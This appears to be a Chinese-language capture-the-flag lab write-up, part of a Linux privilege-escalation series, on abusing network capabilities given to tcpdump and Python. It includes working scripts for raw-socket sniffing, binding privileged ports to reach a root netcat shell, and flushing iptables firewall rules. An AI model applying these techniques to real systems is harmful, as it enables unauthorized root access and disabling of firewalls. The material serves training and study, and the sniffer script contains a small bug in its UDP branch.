Linux提权系列22: [训练营]利用linux能力漏洞5
2023-4-16 08:2:41 Author: 奶牛安全(查看原文) 阅读量:10 收藏

这篇讨论一些与网络相关的能力

CAP_NET_RAW

这个实验中,发现tcpdump``在有效集和允许集都包含了cap_net_raw 能力

当打开一个新的socket并发送/接收时,内核的处理是转换或解析raw数据。有时为了嗅探, 需要从内核请求原始数据包,为此必须以特权用户身份运行程序或者程序应该具有 cap_net_raw 能力。此能力还可用于绑定到任何端口并将该程序用作代理。使用此能力,无法直接升级以获得特权 shell

在实验提示中,要求注意一个特定的 IP – 93.184.216.34。可以通过 tcpdump host 93.184.216.34 来实现。一段时间后,将在 HTTP 请求资源的路径中看到flag

CAP_NET_BIND + CAP_NET_RAW

在这个实验中,发现 python 解释器有两个能力—— cap_net_bind_servicecap_net_raw。它们都在有效集和允许集

总共有 65535 个端口可以打开以侦听或连接以接收或发送网络数据包。1-1024 被视为特权端口,只有使用特权用户 ID (EUID = 0) 运行或具有 cap_net_bind_service 的进程才能绑定到这些端口,并且任何进程都可以使用1024之后端口范围来侦听或打开连接。不能直接升级以获得 root 用户 shell,但可以使用它为绑定 shell 打开特权端口

可以看到一个名为 send-flagpython 脚本正在运行。这可能是客户端试图连接到一个端口并发送flag

使用以下脚本来探测

import socket
import struct

flags = ["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
def getFlag(flag_value):
    flag=""
    for i in xrange(8,-1,-1):
        if flag_value & 1 <<i:
            flag = flag + flags[8-i] + ","
    return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))
flag = ""
count = 0

while True:
    frame = s.recv(4096)
    ip_header = struct.unpack("!BBHHHBBH4s4s", frame[14:34])
    proto = ip_header[6]
    ip_header_size = (ip_header[0] & 0b1111) * 4

    if proto == 6:
        protocol="TCP"
        tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
        tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
        dst_port=tcp_header[0]
        src_port=tcp_header[1]
        flag=" FLAGS: "+getFlag(tcp_header[4])
    elif proto == 17:
        protocol="UDP"
        udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
        udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
        dst_port=udp_header[0]
        src_port=udp_header[1]
    
    if proto == 17 or proto == 6:
        print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + "Source Port: " + str(src_port) + flag)
    
    count = count + 1
    pass

运行时发现119端口没有变化,并且在这个端口上建立了一些连接,这个端口号属于特权端口范围。所以这可以是监听到flag的端口。

在这里写了一个小的漏洞利用代码(由于解释看起来很长)。此代码将在端口 119 上侦听所有主机(网络)连接请求并一次接受一个连接。

from socket import socket

# create socket
# default family is AF_INET (ipv4)
# default socket type is SOCK_STREAM (tcp socket)
# https://docs.python.org/3/library/socket.html#socket.socket
srv = socket()

# bind for on all hosts and on port 119
# listen for one connection at a time
srv.bind(('0.0.0.0',119))
srv.listen(1)

# accept the client connection
# this is a blocking call and will resolve when new client connects
cl, _ = srv.accept()

while True:
    data = cl.recv(1024)  # read 1024 chunks of the data from client socket
    data = data.decode()  # decode the utf8 encoded data
    data = data.strip();  # strip the unwanted whitespace chars from starting and ending of the string
    print(data)           # print the data

运行上面的代码后,瞬间得到了flag

CAP_NET_BIND_SERVICE

在本实验中,再次发现 python 在有效集和允许集都设置了 cap_net_bind_service 能力

此外,发现 netcat 正在侦听端口 4444 上的连接,并运行着 /opt/shell.sh 的脚本

尝试连接到 netcat,它拒绝连接并显示消息“Terminating! Connection from a non-privileged port is not allowed”。另外,尝试阅读 /opt/shell.sh 的内容,但它不是全局可读的

从非特权连接时的消息似乎很奇怪。所以基本上,当您尝试连接到一个端口时,即使在本地主机环境中,客户端也会打开一个端口作为通信媒介。在上述情况下,当连接到 netcat 时,客户端使用的端口范围为 1025 - 65535,这就是它被脚本阻止的原因

在下面的脚本中,绑定到一个特权端口,然后连接到本地主机上的 4444 端口。这次客户端会打开80端口,这个端口确实在特权端口范围内,可以开始连接

from socket import socket

# create socket
# default family is AF_INET (ipv4)
# default socket type is SOCK_STREAM (tcp socket)
# https://docs.python.org/3/library/socket.html#socket.socket
cl = socket()

# requesting kernel to reserve port 80
cl.bind(('127.0.0.1',80))

# starting socket in connect mode
cl.connect(('127.0.0.1',4444))

while True:
 """
    sending command to server and receiving the output via client socket
    """

 cmd = raw_input("# ");
    cl.send(cmd + "\n");
    output = cl.recv(1024).strip();
    print(output)

在运行上面的代码时,能够以 root 用户身份执行命令并读取flag文件

CAP_NET_ADMIN + CAP_NET_RAW

在本实验中,python 解释器在有效集和允许集都具有额外的能力 cap_net_admin

cap_net_admin 能力允许进程在网络上执行管理任务,如配置 iptables(数据包过滤工具)、网口、路由表等等。它不能用于直接升级以生成 root 用户 shell,但可用于在目标系统中管理网络

查找进程列表后,发现 netcat 在端口 4444 上服务,并且它将以 root 用户身份运行 bash 进程

写个脚本看看防火墙策略

import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

运行上面的代码可知,它被配置为拒绝任何人往端口 4444 上建立的连接。可以通过清除这些策略来解决

由于 Python 有一个用于 iptables 的模块并且它具有 cap_net_admin 能力,可以刷新这些策略

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

运行上面的代码清除 iptables 中的所有策略,再次运行 get-rules.p.y 文件进行确认

清除策略后,现在可以连接到 netcat 端口,它会给一个无提示的 bash shell。从 python 生成了 pty bash shell 并读取了flag文件


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&mid=2247489162&idx=1&sn=62b84622dc28b03dc24ae6ad4a9e8f05&chksm=fdf97d9fca8ef489a298cc6d1c44fcf14e13495e545956f773779b0096f334751feb533ebcc9#rd
如有侵权请联系:admin#unsafe.sh